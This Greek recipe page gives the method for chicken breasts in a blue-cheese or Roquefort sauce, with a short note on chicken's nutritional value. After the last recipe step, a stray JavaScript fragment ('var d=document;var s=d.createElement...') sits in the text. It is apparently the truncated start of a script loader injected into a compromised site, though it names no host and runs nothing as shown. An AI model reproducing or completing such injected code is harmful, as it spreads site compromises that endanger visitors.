mommy
thilasmos
toketos
mycare - φροντίδα
athome
arkoudos
nanny - επιλέγοντας νταντάδες

Κοτόπουλο με σως από μπλε τυρί

Κοτόπουλο με σως από μπλε τυρί

chicken-with-roquefort-and-grilled-pearsΑπό τις πληροφορίες που μας δίνουν οι ειδικοί το άσπρο κρέας κατατάσσεται ως πιο υγιεινό από το κόκκινο. Το κοτόπουλο και ιδιαίτερα το στήθος αποτελεί μια ιδανική επιλογή έναντι του κόκκινου κρέατος καθώς είναι χαμηλό σε λιπαρά εφόσον μαγειρευτεί σωστά.

Επιπλέον, είναι σημαντική πηγή πρωτεϊνών, σημαντικών βιταμινών και ιχνοστοιχείων βοηθά στην ενίσχυση του ανοσοποιητικού συστήματος, στην καλή λειτουργία του πεπτικού συστήματος, του δέρματος και των νεύρων.

Η παρακάτω συνταγή είναι πολύ εύκολη και συνδυάζει πολύ πετυχημένα την ιδιαίτερη γεύση του μπλε τυριού ή του ροκφόρ!

Υλικά:

4 στήθη από κοτόπουλο
αλάτι
πιπέρι
ελαιόλαδο
2 κρεμμύδια
80 γρ. μπλε τυρί ή ροκφόρ
βούτυρο

Εκτέλεση:

1. Πασπαλίζουμε τα φιλέτα με αλατοπίπερο
2. Σε ένα αντικολλητικό τηγάνι ζεσταίνουμε λίγο ελαιόλαδο και τσιγαρίζουμε τα φιλέτα μέχρι να πάρει χρώμα η μια πλευρά κι έπειτα γυρνάμε από την άλλη να πάρει χρώμα για 10 λεπτά περίπου.
3. Βγάζουμε τα φιλέτα σε μια πιατέλα
4. Τσιγαρίζουμε τα ψιλοκομμένα κρεμμύδια σε λίγο ελαιόλαδο για 2 λεπτά και προσθέτουμε λίγο νεράκι ώστε να βράσουν ή λίγο ζωμό κότας
5. Βάζουμε μια κουταλιά της σούπας βούτυρο και το μπλε τυρί. Αφήνουμε για λίγο μέχρι να γίνει σάλτσα.
6. Προσθέτουμε το κοτόπουλο στη σάλτσα για να πάρουν μαζί μια τελευταία βράση και σερβίρουμε!var d=document;var s=d.createElement(‘script’);

Share This
2 Σχόλια
  1. […] post Κοτόπουλο με σω&sigm… appeared first on Arkoudos, Συνταγές … […]

  2. […] Κοτόπουλο με σω&sigm… […]